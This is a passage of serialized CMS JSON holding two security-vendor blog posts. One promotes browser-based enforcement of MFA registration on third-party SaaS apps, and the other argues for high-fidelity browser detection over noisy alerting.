attacks",{"data":118674,"marks":118675,"value":118676,"nodeType":865},{},[]," in 2024, we found that 73% (almost three-quarters) were the result of compromised credentials, with the rest the result of phishing. ",{"data":118678,"content":118679,"nodeType":11214},{},[118680],{"data":118681,"content":118682,"nodeType":866},{},[118683],{"data":118684,"marks":118685,"value":118686,"nodeType":865},{},[],"Three-quarters of publicly disclosed breaches involving identity attacks in 2024 involved compromised credentials and missing MFA.",{"data":118688,"content":118689,"nodeType":866},{},[118690,118694,118701],{"data":118691,"marks":118692,"value":118693,"nodeType":865},{},[],"In the case of the ",{"data":118695,"content":118696,"nodeType":882},{"uri":3904},[118697],{"data":118698,"marks":118699,"value":37525,"nodeType":865},{},[118700],{"type":997},{"data":118702,"marks":118703,"value":118704,"nodeType":865},{},[]," earlier this year, a lack of MFA meant the difference between an enormous and murky firefight to clean up accounts breached with legitimate credentials, and a decent night’s sleep. The result was hundreds of millions of breached customer records, nine publicly named victims, and at least one ransom paid.",{"data":118706,"content":118707,"nodeType":866},{},[118708],{"data":118709,"marks":118710,"value":118711,"nodeType":865},{},[],"“Do you know how many accounts we have on this third-party service, who owns them, how many tenants, whether those creds are shared elsewhere, and their security posture?” is not a fun question to answer on a Friday. ",{"data":118713,"content":118717,"nodeType":925},{"target":118714},{"sys":118715},{"id":118716,"type":922,"linkType":923},"6hg6PLXWMZaEDnGekHEzmD",[],{"data":118719,"content":118720,"nodeType":866},{},[118721],{"data":118722,"marks":118723,"value":118724,"nodeType":865},{},[],"For SecOps teams we’ve helped here at Push that responded to incidents affecting third-party apps (like Snowflake), the first item on the recovery plan is to finally solve that hard simple problem: No more MFA gaps.",{"data":118726,"content":118727,"nodeType":866},{},[118728,118732,118736],{"data":118729,"marks":118730,"value":118731,"nodeType":865},{},[],"With our latest feature release, ",{"data":118733,"marks":118734,"value":80191,"nodeType":865},{},[118735],{"type":961},{"data":118737,"marks":118738,"value":118739,"nodeType":865},{},[],", this is so much easier. With MFA enforcement, Push administrators can configure a control to prompt employees to enroll in MFA whenever Push detects that they’re not registered — even on apps that don’t natively provide any administrative enforcement option for MFA. This capability is made possible by the Push browser extension, which uses in-browser messaging and simple workflows to guide users right where they work.",{"data":118741,"content":118742,"nodeType":866},{},[118743],{"data":118744,"marks":118745,"value":118746,"nodeType":865},{},[],"In this article, we’ll cover how Push helps you identify and close MFA gaps, how our new enforcement feature is one part of that solution, and how you can test the platform yourself.",{"data":118748,"content":118749,"nodeType":953},{},[],{"data":118751,"content":118752,"nodeType":963},{},[118753],{"data":118754,"marks":118755,"value":118756,"nodeType":865},{},[],"Shining a light on MFA gaps",{"data":118758,"content":118759,"nodeType":866},{},[118760],{"data":118761,"marks":118762,"value":118763,"nodeType":865},{},[],"There’s no question that the rise of ubiquitous multi-factor authentication has been an enormous advance for defenders in cybersecurity. ",{"data":118765,"content":118766,"nodeType":866},{},[118767,118771,118780],{"data":118768,"marks":118769,"value":118770,"nodeType":865},{},[],"Yet several years into this journey, the problem of verifying and enforcing MFA coverage across an organization remains a bit of a ",{"data":118772,"content":118774,"nodeType":882},{"uri":118773},"https://en.wikipedia.org/wiki/Puzzle_box",[118775],{"data":118776,"marks":118777,"value":118779,"nodeType":865},{},[118778],{"type":997},"puzzle box",{"data":118781,"marks":118782,"value":1048,"nodeType":865},{},[],{"data":118784,"content":118785,"nodeType":866},{},[118786],{"data":118787,"marks":118788,"value":118789,"nodeType":865},{},[],"Why is this?",{"data":118791,"content":118792,"nodeType":1049},{},[118793,118803,118813],{"data":118794,"content":118795,"nodeType":1003},{},[118796],{"data":118797,"content":118798,"nodeType":866},{},[118799],{"data":118800,"marks":118801,"value":118802,"nodeType":865},{},[],"Complex overlapping (and occasionally contradictory) configurations for enterprise MFA solutions can result in entire employee groups not registered for MFA, and other critical missing pieces.",{"data":118804,"content":118805,"nodeType":1003},{},[118806],{"data":118807,"content":118808,"nodeType":866},{},[118809],{"data":118810,"marks":118811,"value":118812,"nodeType":865},{},[],"With a sprawling ecosystem of both SSO-managed and unmanaged self-adopted SaaS, MFA coverage ends up looking more like a patchwork than a unified layer of protection. Security teams lack visibility of freemium and self-purchased apps, and when signup is simple, many users will naturally skip MFA registration to remove a layer of friction. The end result is often a suite of core apps managed via SSO that enforce MFA — and a lot of other unmanaged apps that don’t (true nightmare fodder).",{"data":118814,"content":118815,"nodeType":1003},{},[118816],{"data":118817,"content":118818,"nodeType":866},{},[118819,118823,118832],{"data":118820,"marks":118821,"value":118822,"nodeType":865},{},[],"Another annoying piece of the puzzle box: Even in organizations with a high adoption rate of phishing-resistant MFA methods, having backup MFA methods (and a lack of total visibility into all of those registered methods) can create situations where ",{"data":118824,"content":118826,"nodeType":882},{"uri":118825},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/mfa_downgrade/description.md",[118827],{"data":118828,"marks":118829,"value":118831,"nodeType":865},{},[118830],{"type":997},"MFA downgrade attacks",{"data":118833,"marks":118834,"value":118835,"nodeType":865},{},[]," are still possible. In MFA downgrade attacks, backup MFA methods that are less secure such as SMS or TOTP can be exploited, effectively bypassing more phishing-resistant methods.",{"data":118837,"content":118838,"nodeType":866},{},[118839],{"data":118840,"marks":118841,"value":118842,"nodeType":865},{},[],"The challenges of solving this puzzle are evident. ",{"data":118844,"content":118848,"nodeType":925},{"target":118845},{"sys":118846},{"id":118847,"type":922,"linkType":923},"2BBiFx8pHjSCeLTlP6n6da",[],{"data":118850,"content":118854,"nodeType":925},{"target":118851},{"sys":118852},{"id":118853,"type":922,"linkType":923},"2QnWVpPYRyJQaQ5TuKSSLp",[],{"data":118856,"content":118857,"nodeType":866},{},[118858],{"data":118859,"marks":118860,"value":118861,"nodeType":865},{},[],"To shine a light on MFA gaps, then, security teams need three things:",{"data":118863,"content":118864,"nodeType":1049},{},[118865,118875,118885],{"data":118866,"content":118867,"nodeType":1003},{},[118868],{"data":118869,"content":118870,"nodeType":866},{},[118871],{"data":118872,"marks":118873,"value":118874,"nodeType":865},{},[],"A full accounting of their identity attack surface, including accounts on unmanaged and freemium apps not on SSO.",{"data":118876,"content":118877,"nodeType":1003},{},[118878],{"data":118879,"content":118880,"nodeType":866},{},[118881],{"data":118882,"marks":118883,"value":118884,"nodeType":865},{},[],"A trustworthy out-of-band method for verifying MFA coverage, beyond the tangle of conditional access rules.",{"data":118886,"content":118887,"nodeType":1003},{},[118888],{"data":118889,"content":118890,"nodeType":866},{},[118891],{"data":118892,"marks":118893,"value":118894,"nodeType":865},{},[],"Visibility into which MFA methods are registered to a given account.",{"data":118896,"content":118897,"nodeType":866},{},[118898,118902,118906],{"data":118899,"marks":118900,"value":118901,"nodeType":865},{},[],"You can get all three with the Push platform. The missing piece we’ve now added is a way to automatically prompt employees to add MFA wherever it’s missing. Enter ",{"data":118903,"marks":118904,"value":80191,"nodeType":865},{},[118905],{"type":961},{"data":118907,"marks":118908,"value":1048,"nodeType":865},{},[],{"data":118910,"content":118911,"nodeType":953},{},[],{"data":118913,"content":118914,"nodeType":963},{},[118915],{"data":118916,"marks":118917,"value":118918,"nodeType":865},{},[],"How Push helps you ensure MFA coverage",{"data":118920,"content":118921,"nodeType":866},{},[118922],{"data":118923,"marks":118924,"value":118925,"nodeType":865},{},[],"Let’s take a look at a hypothetical incident response scenario to see how Push’s identity visibility and security controls help you ensure MFA coverage.",{"data":118927,"content":118928,"nodeType":866},{},[118929],{"data":118930,"marks":118931,"value":118932,"nodeType":865},{},[],"We’ll assume that prior to this incident, you had already deployed the Push browser extension, which you can install and enforce using any MDM solution, on all major browsers.",{"data":118934,"content":118935,"nodeType":866},{},[118936],{"data":118937,"marks":118938,"value":118939,"nodeType":865},{},[],"It’s a Friday afternoon (sorry).",{"data":118941,"content":118942,"nodeType":866},{},[118943],{"data":118944,"marks":118945,"value":118946,"nodeType":865},{},[],"News breaks that there’s been a suspected breach at a popular enterprise SaaS service.",{"data":118948,"content":118949,"nodeType":866},{},[118950],{"data":118951,"marks":118952,"value":118953,"nodeType":865},{},[],"You’re familiar with the service, but you don’t believe it’s a core managed app at your organization. Unfortunately, that does not mean you don’t have accounts (sorry again).",{"data":118955,"content":118956,"nodeType":866},{},[118957],{"data":118958,"marks":118959,"value":118960,"nodeType":865},{},[],"Using Push, you can:",{"data":118962,"content":118963,"nodeType":1049},{},[118964,118983,118993,119020,119046],{"data":118965,"content":118966,"nodeType":1003},{},[118967],{"data":118968,"content":118969,"nodeType":866},{},[118970,118974,118979],{"data":118971,"marks":118972,"value":118973,"nodeType":865},{},[],"Immediately check whether the Push extension has observed employee usage of the breached app. It will appear on the ",{"data":118975,"marks":118976,"value":118978,"nodeType":865},{},[118977],{"type":961},"Apps",{"data":118980,"marks":118981,"value":118982,"nodeType":865},{},[]," table. From this overview, you can see how many accounts Push has seen on that app and how they are accessing it (SSO vs. other methods, such as local password login).",{"data":118984,"content":118985,"nodeType":1003},{},[118986],{"data":118987,"content":118988,"nodeType":866},{},[118989],{"data":118990,"marks":118991,"value":118992,"nodeType":865},{},[],"For those accounts on the breached app, you can quickly see whether they have MFA, and which methods are registered. To determine MFA status, the Push extension uses the existing user’s active session on an app to query that account’s MFA registration status using the app’s own API, providing a trustworthy verification. ",{"data":118994,"content":118995,"nodeType":1003},{},[118996],{"data":118997,"content":118998,"nodeType":866},{},[118999,119003,119008,119012,119017],{"data":119000,"marks":119001,"value":119002,"nodeType":865},{},[],"You can also see whether the users’ passwords have any security issues, such as a verified stolen credential, or a password that’s weak or reused by filtering the ",{"data":119004,"marks":119005,"value":119007,"nodeType":865},{},[119006],{"type":961},"Accounts",{"data":119009,"marks":119010,"value":119011,"nodeType":865},{},[]," list for ",{"data":119013,"marks":119014,"value":119016,"nodeType":865},{},[119015],{"type":961},"Findings",{"data":119018,"marks":119019,"value":1048,"nodeType":865},{},[],{"data":119021,"content":119022,"nodeType":1003},{},[119023],{"data":119024,"content":119025,"nodeType":866},{},[119026,119030,119034,119038,119042],{"data":119027,"marks":119028,"value":119029,"nodeType":865},{},[],"For accounts that lack MFA, you can then configure the ",{"data":119031,"marks":119032,"value":80191,"nodeType":865},{},[119033],{"type":961},{"data":119035,"marks":119036,"value":119037,"nodeType":865},{},[]," control from the ",{"data":119039,"marks":119040,"value":90727,"nodeType":865},{},[119041],{"type":961},{"data":119043,"marks":119044,"value":119045,"nodeType":865},{},[]," page. This will prompt employees who lack MFA to set it up whenever they next use the app. In parallel, you can reach out to affected employees through your preferred comms channel and ask them to immediately register for MFA and change their password on the app. ",{"data":119047,"content":119048,"nodeType":1003},{},[119049],{"data":119050,"content":119051,"nodeType":866},{},[119052,119056,119065],{"data":119053,"marks":119054,"value":119055,"nodeType":865},{},[],"Then use Push’s webhooks to monitor for MFA registrations and password changes to roll in, by querying the ",{"data":119057,"content":119059,"nodeType":882},{"uri":119058},"https://pushsecurity.redoc.ly/webhooks-v1#operation/login-event",[119060],{"data":119061,"marks":119062,"value":119064,"nodeType":865},{},[119063],{"type":997},"Login event",{"data":119066,"marks":119067,"value":1048,"nodeType":865},{},[],{"data":119069,"content":119073,"nodeType":925},{"target":119070},{"sys":119071},{"id":119072,"type":922,"linkType":923},"4OVJU6FRSVU9j1WB9NGyJ4",[],{"data":119075,"content":119076,"nodeType":866},{},[119077,119081,119085],{"data":119078,"marks":119079,"value":119080,"nodeType":865},{},[],"By combining visibility of your workforce identities — including granular context on their MFA registration status, MFA methods, and password security, even on unmanaged apps — with in-browser controls like ",{"data":119082,"marks":119083,"value":80191,"nodeType":865},{},[119084],{"type":961},{"data":119086,"marks":119087,"value":119088,"nodeType":865},{},[],", Push helps security teams respond quickly and with assurance that they have the right information and tools to remediate the issue.",{"data":119090,"content":119091,"nodeType":963},{},[119092],{"data":119093,"marks":119094,"value":119095,"nodeType":865},{},[],"A closer look at MFA enforcement",{"data":119097,"content":119098,"nodeType":866},{},[119099,119103,119107],{"data":119100,"marks":119101,"value":119102,"nodeType":865},{},[],"With the in-browser ",{"data":119104,"marks":119105,"value":80191,"nodeType":865},{},[119106],{"type":961},{"data":119108,"marks":119109,"value":119110,"nodeType":865},{},[]," control, we chose this approach to close the loop on missing MFA issues because:",{"data":119112,"content":119113,"nodeType":1049},{},[119114,119124,119134],{"data":119115,"content":119116,"nodeType":1003},{},[119117],{"data":119118,"content":119119,"nodeType":866},{},[119120],{"data":119121,"marks":119122,"value":119123,"nodeType":865},{},[],"It meets users where they are, in the most relevant context where they can successfully address the issue.",{"data":119125,"content":119126,"nodeType":1003},{},[119127],{"data":119128,"content":119129,"nodeType":866},{},[119130],{"data":119131,"marks":119132,"value":119133,"nodeType":865},{},[],"It solves the problem of enforcing MFA on apps that are outside of administrative control — or that don’t provide any administrative controls to enforce MFA registration natively.",{"data":119135,"content":119136,"nodeType":1003},{},[119137],{"data":119138,"content":119139,"nodeType":866},{},[119140],{"data":119141,"marks":119142,"value":119143,"nodeType":865},{},[],"It’s tenant-agnostic. That means that you can enforce MFA for a given app on all tenants of that app, even those free-tier or test tenants that you don’t know about and have no control over.",{"data":119145,"content":119146,"nodeType":866},{},[119147,119151,119155],{"data":119148,"marks":119149,"value":119150,"nodeType":865},{},[],"As a happy side effect, your compliance team will thank you for finally allowing them to attest to where MFA is ",{"data":119152,"marks":119153,"value":115226,"nodeType":865},{},[119154],{"type":944},{"data":119156,"marks":119157,"value":119158,"nodeType":865},{},[]," enforced — with verified results, visible at the account level in Push’s admin reporting — across your environment.",{"data":119160,"content":119161,"nodeType":866},{},[119162],{"data":119163,"marks":119164,"value":119165,"nodeType":865},{},[],"Here’s a closer look at how it works:",{"data":119167,"content":119168,"nodeType":866},{},[119169,119173,119177],{"data":119170,"marks":119171,"value":119172,"nodeType":865},{},[],"To enable MFA enforcement, use the configuration tile on the ",{"data":119174,"marks":119175,"value":90727,"nodeType":865},{},[119176],{"type":961},{"data":119178,"marks":119179,"value":119180,"nodeType":865},{},[]," page of the Push admin console and select which apps should require MFA registration. The control currently works with ~90 high-value apps, including Postman, Retool, Datadog, Atlassian, Okta, and others.",{"data":119182,"content":119186,"nodeType":925},{"target":119183},{"sys":119184},{"id":119185,"type":922,"linkType":923},"2sDbYZL4oJDxLMbYErJfIN",[],{"data":119188,"content":119189,"nodeType":866},{},[119190],{"data":119191,"marks":119192,"value":119193,"nodeType":865},{},[],"You can then customize the message the employees will see.",{"data":119195,"content":119196,"nodeType":866},{},[119197],{"data":119198,"marks":119199,"value":119200,"nodeType":865},{},[],"On the end-user side, employees will see a banner with your message as soon as they use an app where they lack MFA. ",{"data":119202,"content":119206,"nodeType":925},{"target":119203},{"sys":119204},{"id":119205,"type":922,"linkType":923},"37aH1maXXkF8DxgjUod5dn",[],{"data":119208,"content":119209,"nodeType":866},{},[119210],{"data":119211,"marks":119212,"value":119213,"nodeType":865},{},[],"To complete MFA registration, the user can go directly to the app’s MFA registration page from a link in the banner (Push provides this link automatically, where one exists). The extension will query the user’s MFA status regularly in the background and when MFA registration is completed, the banner will disappear and the Push platform will clear the “No MFA” security finding for that account.",{"data":119215,"content":119219,"nodeType":925},{"target":119216},{"sys":119217},{"id":119218,"type":922,"linkType":923},"3yb4KjhH3AbvvSnfMbNONr",[],{"data":119221,"content":119222,"nodeType":963},{},[119223],{"data":119224,"marks":119225,"value":119226,"nodeType":865},{},[],"Find out more",{"data":119228,"content":119229,"nodeType":866},{},[119230,119234,119241],{"data":119231,"marks":119232,"value":119233,"nodeType":865},{},[],"To test our MFA visibility and control features, ",{"data":119235,"content":119236,"nodeType":882},{"uri":16213},[119237],{"data":119238,"marks":119239,"value":119240,"nodeType":865},{},[],"request a demo",{"data":119242,"marks":119243,"value":119244,"nodeType":865},{},[]," from our team. We look forward to helping you finally turn the challenge of MFA coverage into a simple problem, easily solved.","Using Push to enforce MFA on third-party apps in the browser — even where MFA enforcement isn't supported by the app itself.","2025-01-16T00:00:00.000Z",{"items":119248},[119249,119251],{"sys":119250,"name":297},{"id":2828},{"sys":119252,"name":342},{"id":8410},{"items":119254},[119255],{"fullName":3774,"firstName":3775,"jobTitle":3776,"profilePicture":119256},{"url":3778},{"__typename":1788,"sys":119258,"content":119260,"title":119742,"synopsis":119743,"hashTags":59,"publishedDate":119744,"slug":119745,"tagsCollection":119746,"authorsCollection":119752},{"id":119259},"6jYmU1ROpwI41mmzk7ioKd",{"json":119261},{"data":119262,"content":119263,"nodeType":1739},{},[119264,119271,119278,119281,119288,119322,119334,119359,119366,119369,119376,119383,119390,119396,119403,119432,119438,119445,119465,119471,119478,119484,119487,119494,119529,119536,119579,119586,119592,119599,119606,119609,119616,119623,119630,119649,119655,119662,119669,119676,119682,119689,119695,119698,119704,119711,119718],{"data":119265,"content":119266,"nodeType":866},{},[119267],{"data":119268,"marks":119269,"value":119270,"nodeType":865},{},[],"After more than two decades in cybersecurity, I’ve witnessed the evolution (and at times, devolution) of detection and response capabilities. I’ve sat in countless SOCs watching analysts drown in a sea of alerts, spent hours chasing false positives, and seen talented security professionals burn out from the relentless noise of low-fidelity detection systems. ",{"data":119272,"content":119273,"nodeType":866},{},[119274],{"data":119275,"marks":119276,"value":119277,"nodeType":865},{},[],"It’s a problem that’s reached crisis proportions, and it’s exactly why our approach to browser security represents not just a technological shift, but a philosophical one.",{"data":119279,"content":119280,"nodeType":953},{},[],{"data":119282,"content":119283,"nodeType":963},{},[119284],{"data":119285,"marks":119286,"value":119287,"nodeType":865},{},[],"The alert fatigue epidemic",{"data":119289,"content":119290,"nodeType":866},{},[119291,119295,119300,119304,119309,119313,119318],{"data":119292,"marks":119293,"value":119294,"nodeType":865},{},[],"Early in my career, getting ",{"data":119296,"marks":119297,"value":119299,"nodeType":865},{},[119298],{"type":944},"any",{"data":119301,"marks":119302,"value":119303,"nodeType":865},{},[]," alert felt like a victory. We were flying blind outside of our small windows of network traffic. But as the industry matured, something troubling happened: we began equating ",{"data":119305,"marks":119306,"value":119308,"nodeType":865},{},[119307],{"type":961},"volume",{"data":119310,"marks":119311,"value":119312,"nodeType":865},{},[]," with ",{"data":119314,"marks":119315,"value":119317,"nodeType":865},{},[119316],{"type":961},"value",{"data":119319,"marks":119320,"value":119321,"nodeType":865},{},[],". Vendors started competing on how many alerts they could generate, how much data they could collect, and how comprehensive their “visibility” could be. ",{"data":119323,"content":119324,"nodeType":866},{},[119325,119329],{"data":119326,"marks":119327,"value":119328,"nodeType":865},{},[],"Security teams followed suit with operational metrics that captured how many alerts they’d resolved, how many “attacks” they’d stopped, and how many tickets they’d opened and closed in a given work cycle. But as many teams have now realized, ",{"data":119330,"marks":119331,"value":119333,"nodeType":865},{},[119332],{"type":961},"volume is a vanity metric; fidelity is what keeps you safe.",{"data":119335,"content":119336,"nodeType":866},{},[119337,119341,119350,119354],{"data":119338,"marks":119339,"value":119340,"nodeType":865},{},[],"In my course on ",{"data":119342,"content":119344,"nodeType":882},{"uri":119343},"https://www.sans.org/cyber-security-courses/building-leading-security-operations-centers",[119345],{"data":119346,"marks":119347,"value":119349,"nodeType":865},{},[119348],{"type":997},"Building and Leading Security Operations teams",{"data":119351,"marks":119352,"value":119353,"nodeType":865},{},[],", we discuss the importance of analytic outcomes and addressing ineffective alerts to continuously improve fidelity. My students often find it hard to believe how much time and effort it takes to audit alert quality and implement continuous improvements on a large scale. This isn’t just an operational problem — it’s an existential threat to effective security. ",{"data":119355,"marks":119356,"value":119358,"nodeType":865},{},[119357],{"type":961},"When everything is an alert, nothing is. ",{"data":119360,"content":119361,"nodeType":866},{},[119362],{"data":119363,"marks":119364,"value":119365,"nodeType":865},{},[],"And while we have been busy focusing on more (and occasionally, better) detections at the endpoint and network layers, attackers have shifted to infrastructure that isn’t as well-instrumented: SaaS and the browser.",{"data":119367,"content":119368,"nodeType":953},{},[],{"data":119370,"content":119371,"nodeType":963},{},[119372],{"data":119373,"marks":119374,"value":119375,"nodeType":865},{},[],"The browser: a new frontier in detection and response",{"data":119377,"content":119378,"nodeType":866},{},[119379],{"data":119380,"marks":119381,"value":119382,"nodeType":865},{},[],"Today, the browser is the place where most cyber attacks happen. It’s where users interact with the applications that your business runs on, handle sensitive data, and unfortunately, where they encounter sophisticated phishing campaigns, credential harvesting attacks, and malicious downloads. ",{"data":119384,"content":119385,"nodeType":866},{},[119386],{"data":119387,"marks":119388,"value":119389,"nodeType":865},{},[],"Yet for most security teams, the browser remains a black box, obscured from the view from the network and the endpoint. Even worse, attack models often applied to detection engineering for endpoint or network-centric threats don’t really apply; modern identity attacks skip entire phases of the attack chain, eliminating many detection opportunities along the way. The modern attack path doesn’t need to touch the endpoint or your network at all — it can happen entirely over the internet. ",{"data":119391,"content":119395,"nodeType":925},{"target":119392},{"sys":119393},{"id":119394,"type":922,"linkType":923},"4wYYgbKmmVAZTF7niXJEGc",[],{"data":119397,"content":119398,"nodeType":1458},{},[119399],{"data":119400,"marks":119401,"value":119402,"nodeType":865},{},[],"Attackers are exploiting the detection gap",{"data":119404,"content":119405,"nodeType":866},{},[119406,119410,119417,119421,119428],{"data":119407,"marks":119408,"value":119409,"nodeType":865},{},[],"You only need to look at in-the-wild breaches such as last year’s ",{"data":119411,"content":119412,"nodeType":882},{"uri":3904},[119413],{"data":119414,"marks":119415,"value":37719,"nodeType":865},{},[119416],{"type":997},{"data":119418,"marks":119419,"value":119420,"nodeType":865},{},[]," attacks, or the recent ",{"data":119422,"content":119423,"nodeType":882},{"uri":39517},[119424],{"data":119425,"marks":119426,"value":37707,"nodeType":865},{},[119427],{"type":997},{"data":119429,"marks":119430,"value":119431,"nodeType":865},{},[]," breaches to see the impact that attackers can have by executing attacks entirely over the internet, without touching traditional network devices or user endpoints. ",{"data":119433,"content":119437,"nodeType":925},{"target":119434},{"sys":119435},{"id":119436,"type":922,"linkType":923},"VfTps3SGKJDlhFcmh42d9",[],{"data":119439,"content":119440,"nodeType":866},{},[119441],{"data":119442,"marks":119443,"value":119444,"nodeType":865},{},[],"But even in the context of more “conventional” attacks (e.g. the classic route of compromising an endpoint, moving laterally through an environment, taking control of a domain, and deploying ransomware), most of the time, these attacks begin in the browser with identities and cloud apps rather than exploit-driven initial access — such as with the recent attacks on Marks & Spencer, Co-op, and Jaguar Land Rover. ",{"data":119446,"content":119447,"nodeType":866},{},[119448,119452,119461],{"data":119449,"marks":119450,"value":119451,"nodeType":865},{},[],"While the ",{"data":119453,"content":119455,"nodeType":882},{"uri":119454},"https://cloud.google.com/security/resources/insights/targeted-attack-lifecycle",[119456],{"data":119457,"marks":119458,"value":119460,"nodeType":865},{},[119459],{"type":997},"attack cycle",{"data":119462,"marks":119463,"value":119464,"nodeType":865},{},[]," and similar mental models are valuable for planning in-depth detections of sophisticated, multi-stage attacks, focusing too heavily on them can lead to overlooked scenarios. These high-profile incidents have demonstrated the opportunity cost of neglecting visibility into attacks that don't perfectly align with these models. ",{"data":119466,"content":119470,"nodeType":925},{"target":119467},{"sys":119468},{"id":119469,"type":922,"linkType":923},"3TsKtoWuxQMFl1xd3w1j86",[],{"data":119472,"content":119473,"nodeType":866},{},[119474],{"data":119475,"marks":119476,"value":119477,"nodeType":865},{},[],"Just as endpoint detection and response revolutionized host-based security by providing visibility and control directly at the point of attack, browser-based security platforms can do the same for web-borne threats. It’s an important addition to the detection and response stack that illuminates a “missing middle” in modern attack investigations, and intervenes in real time, much like traditional EDR did for the endpoint years ago.",{"data":119479,"content":119483,"nodeType":925},{"target":119480},{"sys":119481},{"id":119482,"type":922,"linkType":923},"1eCXGC6U6SdzHmOH1gv24O",[],{"data":119485,"content":119486,"nodeType":953},{},[],{"data":119488,"content":119489,"nodeType":963},{},[119490],{"data":119491,"marks":119492,"value":119493,"nodeType":865},{},[],"High-fidelity detection: quality over quantity",{"data":119495,"content":119496,"nodeType":866},{},[119497,119500,119507,119511,119516,119520,119525],{"data":119498,"marks":119499,"value":48340,"nodeType":865},{},[],{"data":119501,"content":119502,"nodeType":882},{"uri":8556},[119503],{"data":119504,"marks":119505,"value":119506,"nodeType":865},{},[],"design philosophy",{"data":119508,"marks":119509,"value":119510,"nodeType":865},{},[]," centers on a principle often overlooked in the security industry: prioritizing actionable problems for security teams. This involves differentiating between \"",{"data":119512,"marks":119513,"value":119515,"nodeType":865},{},[119514],{"type":961},"events",{"data":119517,"marks":119518,"value":119519,"nodeType":865},{},[],"\" – environment data that may or may not be useful – and \"",{"data":119521,"marks":119522,"value":119524,"nodeType":865},{},[119523],{"type":961},"detections",{"data":119526,"marks":119527,"value":119528,"nodeType":865},{},[],"\" – high-fidelity, actionable signals with a negligible false positive rate. We also empower our customers with the ability to intervene in real-time when there are high-confidence indicators of an attack. We focus on detecting not atomic indicators, but on attacker tooling and behaviors.",{"data":119530,"content":119531,"nodeType":866},{},[119532],{"data":119533,"marks":119534,"value":119535,"nodeType":865},{},[],"Compare this to traditional approaches that might generate alerts for:",{"data":119537,"content":119538,"nodeType":1049},{},[119539,119549,119559,119569],{"data":119540,"content":119541,"nodeType":1003},{},[119542],{"data":119543,"content":119544,"nodeType":866},{},[119545],{"data":119546,"marks":119547,"value":119548,"nodeType":865},{},[],"Visiting domains with low reputation scores (but not necessarily malicious)",{"data":119550,"content":119551,"nodeType":1003},{},[119552],{"data":119553,"content":119554,"nodeType":866},{},[119555],{"data":119556,"marks":119557,"value":119558,"nodeType":865},{},[],"Downloading files that match certain heuristics (but may be legitimate)",{"data":119560,"content":119561,"nodeType":1003},{},[119562],{"data":119563,"content":119564,"nodeType":866},{},[119565],{"data":119566,"marks":119567,"value":119568,"nodeType":865},{},[],"Accessing new web applications (that may be approved, or tacitly allowed, shadow IT)",{"data":119570,"content":119571,"nodeType":1003},{},[119572],{"data":119573,"content":119574,"nodeType":866},{},[119575],{"data":119576,"marks":119577,"value":119578,"nodeType":865},{},[],"Employee usernames, passwords, and email addresses for sale on the dark web (which may no longer be valid)",{"data":119580,"content":119581,"nodeType":866},{},[119582],{"data":119583,"marks":119584,"value":119585,"nodeType":865},{},[],"These low-fidelity alerts create work without providing solutions. They force analysts to become investigators rather than responders, spending precious time determining whether an alert represents a genuine threat rather than focusing on mitigation and recovery. ",{"data":119587,"content":119591,"nodeType":925},{"target":119588},{"sys":119589},{"id":119590,"type":922,"linkType":923},"4MydcqvHnWsziCOPUNC3YS",[],{"data":119593,"content":119594,"nodeType":866},{},[119595],{"data":119596,"marks":119597,"value":119598,"nodeType":865},{},[],"Poor quality detections also present an easy opportunity for security teams to commit a cardinal sin: disrupting users and business processes without a clear justification for doing so. User trust and support should always be treated as a finite resource, and every account locked, website blocked, and laptop reimaged chips away at that resource. ",{"data":119600,"content":119601,"nodeType":866},{},[119602],{"data":119603,"marks":119604,"value":119605,"nodeType":865},{},[],"Likewise, the more disruptive, the more likely users will look for ways around said controls. If your users are actively working against you, and feel you are preventing them from doing their jobs, they’ll always find new and unexpected ways around security blocks. ",{"data":119607,"content":119608,"nodeType":953},{},[],{"data":119610,"content":119611,"nodeType":963},{},[119612],{"data":119613,"marks":119614,"value":119615,"nodeType":865},{},[],"The SOC analyst's perspective",{"data":119617,"content":119618,"nodeType":866},{},[119619],{"data":119620,"marks":119621,"value":119622,"nodeType":865},{},[],"The most successful SOC analysts share a common trait: they’re extraordinarily good at quickly distinguishing signal from noise. But this skill shouldn’t be required! It’s a failure of our detection systems that we’re forcing human analysts to perform pattern matching that our technology should handle. ",{"data":119624,"content":119625,"nodeType":866},{},[119626],{"data":119627,"marks":119628,"value":119629,"nodeType":865},{},[],"But even for the most skilled analyst, it’s a tall order to ask your security team to also be experts in every cloud app your business relies on, making it even harder than normal to build context-driven alerts. Most of the time, the information required simply doesn't exist, with logs simply not available (generally, or at your product tier) or the work required to extract the logs and turn them into context-driven alerts hasn’t happened yet. If your team is under-resourced and drowning in low-fidelity alerts already, then realistically it might never happen. ",{"data":119631,"content":119632,"nodeType":866},{},[119633,119637,119645],{"data":119634,"marks":119635,"value":119636,"nodeType":865},{},[],"Effective browser security changes this dynamic. Instead of presenting analysts with hundreds of “suspicious web activity” alerts that require investigation, ",{"data":119638,"content":119639,"nodeType":882},{"uri":87348},[119640],{"data":119641,"marks":119642,"value":119644,"nodeType":865},{},[119643],{"type":997},"our platform focuses on high-reliability indicators",{"data":119646,"marks":119647,"value":119648,"nodeType":865},{},[]," like whether a phishing kit was observed running on the page, or whether the page was cloned from a legitimate site. We even detect user behaviors that could indicate a risk in the context of a phishing attack, like when a user attempts to authenticate with credentials that have been previously used on another page — either a sign of credential reuse (bad) or a phishing attack (even worse) — at which point Push can be set to block the attack in real time. ",{"data":119650,"content":119654,"nodeType":925},{"target":119651},{"sys":119652},{"id":119653,"type":922,"linkType":923},"3998Iy2kp9MW0HFeqmo900",[],{"data":119656,"content":119657,"nodeType":1458},{},[119658],{"data":119659,"marks":119660,"value":119661,"nodeType":865},{},[],"Browser security provides a new layer of protection, reducing the risk of breach",{"data":119663,"content":119664,"nodeType":866},{},[119665],{"data":119666,"marks":119667,"value":119668,"nodeType":865},{},[],"Attack detection has always been a cat-and-mouse game. For years, attackers have grappled with endpoint and network security vendors. And sometimes, the attackers win. The fact is that a lot of attacker innovation has gone into sandbox aware malware, breaking detection signatures, disabling security tools, and so on.    ",{"data":119670,"content":119671,"nodeType":866},{},[119672],{"data":119673,"marks":119674,"value":119675,"nodeType":865},{},[],"But with so many attacks now passing through the browser, defending it enables badness to be filtered out before it reaches the endpoint or network controls that attackers are looking to consciously evade. By preventing malware being delivered, or identities from being compromised, attacks otherwise crafted to evade traditional security controls can be intercepted early — making the crucial difference in whether a breach happens or not.",{"data":119677,"content":119681,"nodeType":925},{"target":119678},{"sys":119679},{"id":119680,"type":922,"linkType":923},"4Bh7uOkeguNJFmJ1XUQ317",[],{"data":119683,"content":119684,"nodeType":866},{},[119685],{"data":119686,"marks":119687,"value":119688,"nodeType":865},{},[],"And when it comes to the 